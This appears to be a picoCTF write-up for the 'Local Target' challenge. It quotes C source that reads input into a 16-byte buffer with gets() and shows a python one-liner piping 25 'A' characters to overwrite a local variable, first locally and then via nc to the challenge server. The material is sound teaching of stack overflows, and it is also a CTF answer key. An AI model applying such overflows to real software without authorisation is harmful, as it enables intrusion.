Skip to content

Latest commit

 

History

History
147 lines (117 loc) · 3.67 KB

File metadata and controls

147 lines (117 loc) · 3.67 KB

Local Target

Challenge information

Points: 100
Tags: picoGym Exclusive, Binary Exploitation, gets
Author: OVERTHEWIRE.ORG / LT 'SYREAL' JONES

Description:

Smash the stack
Can you overflow the buffer and modify the other local variable? 

The program is available here. You can view source here. And connect with it using:
`nc saturn.picoctf.net 56895`
 
Hints:
1. Do anything you can to change num.
2. When you change num, view the value as hexadecimal.

Challenge link: https://play.picoctf.org/practice/challenge/399

Solution

Study the source code

The main function of the program look like this

int main(){
  FILE *fptr;
  char c;

  char input[16];
  int num = 64;
  
  printf("Enter a string: ");
  fflush(stdout);
  gets(input);
  printf("\n");
  
  printf("num is %d\n", num);
  fflush(stdout);
  
  if( num == 65 ){
    printf("You win!\n");
    fflush(stdout);
    // Open file
    fptr = fopen("flag.txt", "r");
    if (fptr == NULL)
    {
        printf("Cannot open file.\n");
        fflush(stdout);
        exit(0);
    }

    // Read contents from file
    c = fgetc(fptr);
    while (c != EOF)
    {
        printf ("%c", c);
        c = fgetc(fptr);
    }
    fflush(stdout);

    printf("\n");
    fflush(stdout);
    fclose(fptr);
    exit(0);
  }
  
  printf("Bye!\n");
  fflush(stdout);
}

Our mission is to change the local variable num with a value of 64 to a value of 65. This can easily be done since the gets function doesn't have any length restrictions. So if we input more than the memory reserved for the input, the 16-byte variable input,
num will be overwritten.

Create an "exploit" and verify it locally

The gets function reads the input as text. What character should we overwrite with? The ASCII value of decimal 65 corresponds to 'A'.

┌──(kali㉿kali)-[/picoCTF/picoGym/Binary_Exploitation/Local_Target]
└─$ python -c "print(chr(65))"
A

We probably could getway with inputting say 64 A:s but let's find out specifically how many A:s
are needed to overwrite num. This usually isn't as easy as 16+1 A:s due to the compiler's
stack alignment etc.

Let's use Python to print A:s and start with say 22 (something a bit higher than 16+1) of them.
Then we increase the number of A:s step by step until num is changed.

┌──(kali㉿kali)-[/picoCTF/picoGym/Binary_Exploitation/Local_Target]
└─$ python -c "print('A'*22)" | ./local-target
Enter a string: 
num is 64
Bye!

┌──(kali㉿kali)-[/picoCTF/picoGym/Binary_Exploitation/Local_Target]
└─$ python -c "print('A'*23)" | ./local-target
Enter a string: 
num is 64
Bye!

┌──(kali㉿kali)-[/picoCTF/picoGym/Binary_Exploitation/Local_Target]
└─$ python -c "print('A'*24)" | ./local-target
Enter a string: 
num is 0
Bye!

┌──(kali㉿kali)-[/picoCTF/picoGym/Binary_Exploitation/Local_Target]
└─$ python -c "print('A'*25)" | ./local-target
Enter a string: 
num is 65
You win!
Cannot open file.

So 25 A:s are needed to overwrite num. The error message is due to the fact that there is no 'flag.txt' file in the current directory.

Connect to the server and get the flag

Finally, let's send our tiny exploit to the server

┌──(kali㉿kali)-[/picoCTF/picoGym/Binary_Exploitation/Local_Target]
└─$ python -c "print('A'*25)" | nc saturn.picoctf.net 56895  
Enter a string: 
num is 65
You win!
picoCTF{<REDACTED>}

For additional information, please see the references below.

References